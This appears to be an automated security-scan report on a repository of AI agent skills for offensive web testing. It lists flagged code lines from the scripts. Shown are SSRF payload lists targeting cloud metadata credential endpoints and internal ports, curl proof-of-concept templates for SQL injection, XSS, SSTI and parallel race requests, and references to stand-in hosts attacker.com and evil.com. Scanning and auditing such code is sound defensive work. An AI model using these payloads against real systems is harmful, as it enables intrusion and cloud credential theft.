try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: body = resp.read(65536).decode("utf-8", errors="replace") - Network accessline 53
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: - Network accessline 333
# Generate PoC curl commands - Network accessline 342
f"# Send {threads} parallel requests using xargs + curl\n" f"seq 1 {threads} | xargs -P {threads} -I {{}} " f"curl -k -X {args.method} '{args.target}'" - Network accessline 343
f"seq 1 {threads} | xargs -P {threads} -I {{}} " f"curl -k -X {args.method} '{args.target}'" f"{data_flag}{cookie_flag}{header_flags}" - Network accessline 344
f"curl -k -X {args.method} '{args.target}'"
webapp-exploit-hunter/scripts/sqli_tester.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 50
req = urllib.request.Request(url, data=data, headers=default_headers, method=method) - Network accessline 52
start = time.time() try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: - Network accessline 53
try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: body = resp.read(65536).decode("utf-8", errors="replace") - Network accessline 54
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: - Network accessline 389
for finding in all_findings: if finding["method"] == "GET": finding["poc_curl"] = f"curl -k '{finding['url']}' --data-urlencode '{finding['param']}={finding.get('payload', '')}'" - Network accessline 390
if finding["method"] == "GET": finding["poc_curl"] = f"curl -k '{finding['url']}' --data-urlencode '{finding['param']}={finding.get('payload', '')}'" else: - Network accessline 391
finding["poc_curl"] = f"curl -k '{finding['url']}' --data-urlencode '{finding['param']}={finding.get('payload', '')}'" - Network accessline 393
finding["poc_curl"] = f"curl -k -X POST '{finding['url']}' -d '{finding['param']}={finding.get('payload', '')}'"
webapp-exploit-hunter/scripts/ssrf_tester.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 37
if data and isinstance(data, str): data = data.encode("utf-8") req = urllib.request.Request(url, data=data, headers=default_headers, method=method) - Network accessline 38
data = data.encode("utf-8") req = urllib.request.Request(url, data=data, headers=default_headers, method=method) try: - Network accessline 39
req = urllib.request.Request(url, data=data, headers=default_headers, method=method) - Network accessline 40
try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: body = resp.read(65536).decode("utf-8", errors="replace") - Network accessline 41
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: - Network accessline 62
SSRF_PAYLOADS = { "localhost": [ "http://127.0.0.1/", - Network accessline 63
"localhost": [ "http://127.0.0.1/", "http://localhost/", - Network accessline 64
"http://127.0.0.1/", - Network accessline 65
"http://localhost/", - Network accessline 66
"http://0.0.0.0/", - Network accessline 67
"http://[::1]/", - Network accessline 68
"http://0/", - Network accessline 69
"http://127.1/", - Network accessline 70
"http://127.0.1/", - Network accessline 71
], "cloud_metadata_aws": [ "http://169.254.169.254/latest/meta-data/", - Network accessline 72
"cloud_metadata_aws": [ "http://169.254.169.254/latest/meta-data/", "http://169.254.169.254/latest/meta-data/iam/security-credentials/", - Network accessline 73
"http://169.254.169.254/latest/meta-data/", - Network accessline 74
"http://169.254.169.254/latest/meta-data/iam/security-credentials/", - Network accessline 75
"http://169.254.169.254/latest/user-data", - Network accessline 76
"http://169.254.169.254/latest/meta-data/hostname", - Network accessline 77
], "cloud_metadata_gcp": [ "http://metadata.google.internal/computeMetadata/v1/", - Network accessline 78
"cloud_metadata_gcp": [ "http://metadata.google.internal/computeMetadata/v1/", "http://169.254.169.254/computeMetadata/v1/", - Network accessline 79
"http://metadata.google.internal/computeMetadata/v1/", - Network accessline 80
"http://169.254.169.254/computeMetadata/v1/", - Network accessline 81
], "cloud_metadata_azure": [ "http://169.254.169.254/metadata/instance?api-version=2021-02-01", - Network accessline 82
"cloud_metadata_azure": [ "http://169.254.169.254/metadata/instance?api-version=2021-02-01", ], - Network accessline 83
"http://169.254.169.254/metadata/instance?api-version=2021-02-01", - Network accessline 84
], "internal_services": [ "http://127.0.0.1:22/", - Network accessline 85
"internal_services": [ "http://127.0.0.1:22/", "http://127.0.0.1:80/", - Network accessline 86
"http://127.0.0.1:22/", - Network accessline 87
"http://127.0.0.1:80/", - Network accessline 88
"http://127.0.0.1:443/", - Network accessline 89
"http://127.0.0.1:3306/", - Network accessline 90
"http://127.0.0.1:5432/", - Network accessline 91
"http://127.0.0.1:6379/", - Network accessline 92
"http://127.0.0.1:8080/", - Network accessline 93
"http://127.0.0.1:9200/", - Network accessline 94
"http://127.0.0.1:27017/", - Network accessline 95
], "bypass_ip_encoding": [ "http://2130706433/", # 127.0.0.1 in decimal - Network accessline 96
"bypass_ip_encoding": [ "http://2130706433/", # 127.0.0.1 in decimal "http://0x7f000001/", # 127.0.0.1 in hex - Network accessline 97
"http://2130706433/", # 127.0.0.1 in decimal - Network accessline 98
"http://0x7f000001/", # 127.0.0.1 in hex - Network accessline 99
"http://017700000001/", # 127.0.0.1 in octal - Network accessline 100
"http://0177.0.0.1/", # 127.0.0.1 mixed octal - Network accessline 101
"http://127.0.0.1.nip.io/", # DNS rebinding via nip.io - Network accessline 205
"method": method, "poc_curl": ( f"curl -k '{test_url}'" if method == "GET" - Network accessline 206
"poc_curl": ( f"curl -k '{test_url}'" if method == "GET" else f"curl -k -X POST '{url}' -d '{param_name}={urllib.parse.quote(payload)}'" - Network accessline 207
f"curl -k '{test_url}'" if method == "GET" - Network accessline 208
else f"curl -k -X POST '{url}' -d '{param_name}={urllib.parse.quote(payload)}'"
webapp-exploit-hunter/scripts/ssti_tester.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 41
if data and isinstance(data, str): data = data.encode("utf-8") req = urllib.request.Request(url, data=data, headers=default_headers, method=method) - Network accessline 42
data = data.encode("utf-8") req = urllib.request.Request(url, data=data, headers=default_headers, method=method) try: - Network accessline 43
req = urllib.request.Request(url, data=data, headers=default_headers, method=method) - Network accessline 44
try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: body = resp.read(131072).decode("utf-8", errors="replace") - Network accessline 45
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: - Network accessline 187
"poc_url": test_url if method == "GET" else None, "poc_curl": ( f"curl -k '{test_url}'" if method == "GET" - Network accessline 188
"poc_curl": ( f"curl -k '{test_url}'" if method == "GET" else f"curl -k -X POST '{url}' -d '{param_name}={urllib.parse.quote(payload)}'" - Network accessline 189
f"curl -k '{test_url}'" if method == "GET" - Network accessline 190
else f"curl -k -X POST '{url}' -d '{param_name}={urllib.parse.quote(payload)}'"
webapp-exploit-hunter/scripts/upload_tester.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 52
req = urllib.request.Request(url, data=data, headers=default_headers, method=method) - Network accessline 54
start = time.time() try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: - Network accessline 55
try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: body = resp.read(65536).decode("utf-8", errors="replace") - Network accessline 56
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
webapp-exploit-hunter/scripts/vuln_report.py
- Executable scriptline 1
#!/usr/bin/env python3
webapp-exploit-hunter/scripts/xss_tester.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 41
if data and isinstance(data, str): data = data.encode("utf-8") req = urllib.request.Request(url, data=data, headers=default_headers, method=method) - Network accessline 42
data = data.encode("utf-8") req = urllib.request.Request(url, data=data, headers=default_headers, method=method) try: - Network accessline 43
req = urllib.request.Request(url, data=data, headers=default_headers, method=method) - Network accessline 44
try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: body = resp.read(131072).decode("utf-8", errors="replace") - Network accessline 45
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: - Network accessline 215
"poc_url": test_url if method == "GET" else None, "poc_curl": ( f"curl -k '{test_url}'" if method == "GET" - Network accessline 216
"poc_curl": ( f"curl -k '{test_url}'" if method == "GET" else f"curl -k -X POST '{url}' -d '{param_name}={urllib.parse.quote(payload)}'" - Network accessline 217
f"curl -k '{test_url}'" if method == "GET" - Network accessline 218
else f"curl -k -X POST '{url}' -d '{param_name}={urllib.parse.quote(payload)}'"
How the signals fit together
Facts from a static read of the files at the pinned commit. They describe what the code does, not why.
Some files could not be read; the facts below still hold.
Declared and executed: 14 facts
- Contacts storage.googleapis.com, which SKILL.md, the README and the plugin manifest do not mentioncloud-pivot-finder/scripts/bucket_enum.py:131High confidence
- Contacts storage.googleapis.com, which SKILL.md, the README and the plugin manifest do not mentioncloud-pivot-finder/scripts/cicd_finder.py:225High confidence
- Contacts www.google.com, which SKILL.md, the README and the plugin manifest do not mentionrecon-dominator/scripts/google_dorker.py:147High confidence
- Contacts api.hackertarget.com, which SKILL.md, the README and the plugin manifest do not mentionrecon-dominator/scripts/osint_correlator.py:138High confidence
- Contacts ip-api.com, which SKILL.md, the README and the plugin manifest do not mentionrecon-dominator/scripts/osint_correlator.py:152High confidence
- Contacts github.com, which SKILL.md, the README and the plugin manifest do not mentionrecon-dominator/scripts/osint_correlator.py:185High confidence
- Contacts api.hackertarget.com, which SKILL.md, the README and the plugin manifest do not mentionrecon-dominator/scripts/passive_recon.py:78High confidence
- Contacts rapiddns.io, which SKILL.md, the README and the plugin manifest do not mentionrecon-dominator/scripts/passive_recon.py:97High confidence
- Contacts web.archive.org, which SKILL.md, the README and the plugin manifest do not mentionrecon-dominator/scripts/passive_recon.py:180High confidence
- Contacts web.archive.org, which SKILL.md, the README and the plugin manifest do not mentionrecon-dominator/scripts/wayback_analyzer.py:48High confidence
- Contacts attacker.com, which SKILL.md, the README and the plugin manifest do not mentionvuln-chain-composer/scripts/build_chains.py:69High confidence
- Contacts evil.com, which SKILL.md, the README and the plugin manifest do not mentionwebapp-exploit-hunter/scripts/auth_tester.py:567High confidence
- Contacts 127.1, which SKILL.md, the README and the plugin manifest do not mentionwebapp-exploit-hunter/scripts/ssrf_tester.py:69High confidence
- Contacts 127.0.1, which SKILL.md, the README and the plugin manifest do not mentionwebapp-exploit-hunter/scripts/ssrf_tester.py:70High confidence
Signal confidence: 486 facts
- Network access in prose of the SKILL.mdapi-breaker/SKILL.md:127Low confidence
- Network access in prose of the SKILL.mdapi-breaker/SKILL.md:128Low confidence
- Network access in prose of the SKILL.mdapi-breaker/SKILL.md:129Low confidence
- Executable script in code of a file that runsapi-breaker/scripts/api_discovery.py:1High confidence
- Network access in code of a file that runsapi-breaker/scripts/api_discovery.py:41High confidence
- Network access in code of a file that runsapi-breaker/scripts/api_discovery.py:42High confidence
- Network access in code of a file that runsapi-breaker/scripts/api_discovery.py:43High confidence
- Network access in code of a file that runsapi-breaker/scripts/api_discovery.py:44High confidence
- Network access in code of a file that runsapi-breaker/scripts/api_discovery.py:45High confidence
- Network access in code of a file that runsapi-breaker/scripts/api_discovery.py:257High confidence
- Network access in code of a file that runsapi-breaker/scripts/api_discovery.py:258High confidence
- Network access in code of a file that runsapi-breaker/scripts/api_discovery.py:259High confidence
- Executable script in code of a file that runsapi-breaker/scripts/api_report.py:1High confidence
- Network access in prose of a file that runsapi-breaker/scripts/api_report.py:164Low confidence
- Network access in code of a file that runsapi-breaker/scripts/api_report.py:169High confidence
- Executable script in code of a file that runsapi-breaker/scripts/auth_analyzer.py:1High confidence
- Network access in code of a file that runsapi-breaker/scripts/auth_analyzer.py:46High confidence
- Network access in code of a file that runsapi-breaker/scripts/auth_analyzer.py:47High confidence
- Network access in code of a file that runsapi-breaker/scripts/auth_analyzer.py:48High confidence
- Network access in code of a file that runsapi-breaker/scripts/auth_analyzer.py:49High confidence
- Network access in code of a file that runsapi-breaker/scripts/auth_analyzer.py:50High confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueapi-breaker/scripts/auth_analyzer.py:242Low confidence
- Access to secrets in code of a file that runsapi-breaker/scripts/auth_analyzer.py:249High confidence
- Access to secrets in code of a file that runsapi-breaker/scripts/auth_analyzer.py:250High confidence
- Access to secrets in code of a file that runsapi-breaker/scripts/auth_analyzer.py:251High confidence
- Access to secrets in code of a file that runsapi-breaker/scripts/auth_analyzer.py:252High confidence
- Access to secrets in code of a file that runsapi-breaker/scripts/auth_analyzer.py:256High confidence
- Access to secrets in code of a file that runsapi-breaker/scripts/auth_analyzer.py:260High confidence
- Access to secrets in code of a file that runsapi-breaker/scripts/auth_analyzer.py:279High confidence
- Executable script in code of a file that runsapi-breaker/scripts/authz_tester.py:1High confidence
- Network access in code of a file that runsapi-breaker/scripts/authz_tester.py:44High confidence
- Network access in code of a file that runsapi-breaker/scripts/authz_tester.py:45High confidence
- Network access in code of a file that runsapi-breaker/scripts/authz_tester.py:46High confidence
- Network access in code of a file that runsapi-breaker/scripts/authz_tester.py:47High confidence
- Network access in code of a file that runsapi-breaker/scripts/authz_tester.py:48High confidence
- Executable script in code of a file that runsapi-breaker/scripts/logic_tester.py:1High confidence
- Network access in code of a file that runsapi-breaker/scripts/logic_tester.py:44High confidence
- Network access in code of a file that runsapi-breaker/scripts/logic_tester.py:45High confidence
- Network access in code of a file that runsapi-breaker/scripts/logic_tester.py:46High confidence
- Network access in code of a file that runsapi-breaker/scripts/logic_tester.py:47High confidence
- Network access in code of a file that runsapi-breaker/scripts/logic_tester.py:48High confidence
- Executable script in code of a file that runsapi-breaker/scripts/mass_assignment.py:1High confidence
- Network access in code of a file that runsapi-breaker/scripts/mass_assignment.py:43High confidence
- Network access in code of a file that runsapi-breaker/scripts/mass_assignment.py:44High confidence
- Network access in code of a file that runsapi-breaker/scripts/mass_assignment.py:45High confidence
- Network access in code of a file that runsapi-breaker/scripts/mass_assignment.py:46High confidence
- Network access in code of a file that runsapi-breaker/scripts/mass_assignment.py:47High confidence
- Executable script in code of a file that runsapi-breaker/scripts/rate_limiter.py:1High confidence
- Network access in code of a file that runsapi-breaker/scripts/rate_limiter.py:44High confidence
- Network access in code of a file that runsapi-breaker/scripts/rate_limiter.py:45High confidence
and 436 more
Only the first 500 facts are listed.
Works with
| Agent | Status | Evidence | Install to |
|---|---|---|---|
| Claude Code | Compatible | Standard SKILL.md api-breaker/SKILL.md | .claude/skills/<skill-name>/ |
| Codex | Compatible | Standard SKILL.md api-breaker/SKILL.md | .agents/skills/<skill-name>/ |
| Cursor | Compatible | Standard SKILL.md api-breaker/SKILL.md | .cursor/skills/<skill-name>/ |
| Gemini CLI | Compatible | Standard SKILL.md api-breaker/SKILL.md | .gemini/skills/<skill-name>/ |
| GitHub Copilot | Compatible | Standard SKILL.md api-breaker/SKILL.md | .github/skills/<skill-name>/ |
| OpenCode | Compatible | Standard SKILL.md api-breaker/SKILL.md | .opencode/skills/<skill-name>/ |
- Native The repository ships a manifest, folder or frontmatter field for this agent.
- Compatible A standard SKILL.md that this agent can read.
- Unknown No evidence either way.
Derived automatically from paths, manifests and frontmatter. Not tested on each agent.